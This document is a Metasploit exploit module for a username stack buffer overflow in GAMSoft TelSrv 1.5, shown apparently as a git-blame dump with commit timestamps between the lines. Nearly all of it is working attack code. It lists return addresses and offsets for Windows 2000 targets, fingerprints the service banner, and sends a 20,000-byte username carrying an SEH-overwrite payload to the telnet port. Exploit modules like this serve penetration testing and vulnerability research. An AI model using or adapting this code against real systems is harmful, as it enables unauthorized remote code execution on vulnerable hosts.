2009-12-15 18:47:29 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
|
|
|
|
Other versions may also be affected. The service terminates after exploitation,
|
|
|
|
so you only get one chance!
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2000-0665'],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '373'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '1478'],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x0a",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro SP0/4 English REMOTE',
|
|
|
|
{
|
|
|
|
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
|
|
|
|
'Offset' => 1886,
|
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
|
|
|
|
'Offset' => 3318,
|
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
|
|
|
|
'Offset' => 3358,
|
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
=begin
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'Windows XP Pro SP0/1 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL
|
|
|
|
'Offset' => 2600, # this is made up and absolutely wrong ;-)
|
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
=end
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 17 2000',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(23),
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
connect
|
2014-01-20 20:26:10 +00:00
|
|
|
print_status("Attempting to determine if target is possibly vulnerable...")
|
2013-08-30 21:28:54 +00:00
|
|
|
select(nil,nil,nil,7)
|
2014-06-28 21:18:16 +00:00
|
|
|
banner = sock.get_once || ''
|
2014-01-20 20:26:10 +00:00
|
|
|
vprint_status("Banner: #{banner}")
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2014-06-28 21:18:16 +00:00
|
|
|
if banner.to_s =~ /TelSrv 1\.5/
|
2014-01-20 20:26:10 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
|
|
|
|
connect
|
|
|
|
print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
|
|
|
|
select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
username = rand_text_english(20000, payload_badchars)
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
username[target['Offset'], seh.length] = seh
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
|
|
|
|
sock.put(username)
|
|
|
|
select(nil,nil,nil,0.25)
|
|
|
|
print_status('Exploit sent...')
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|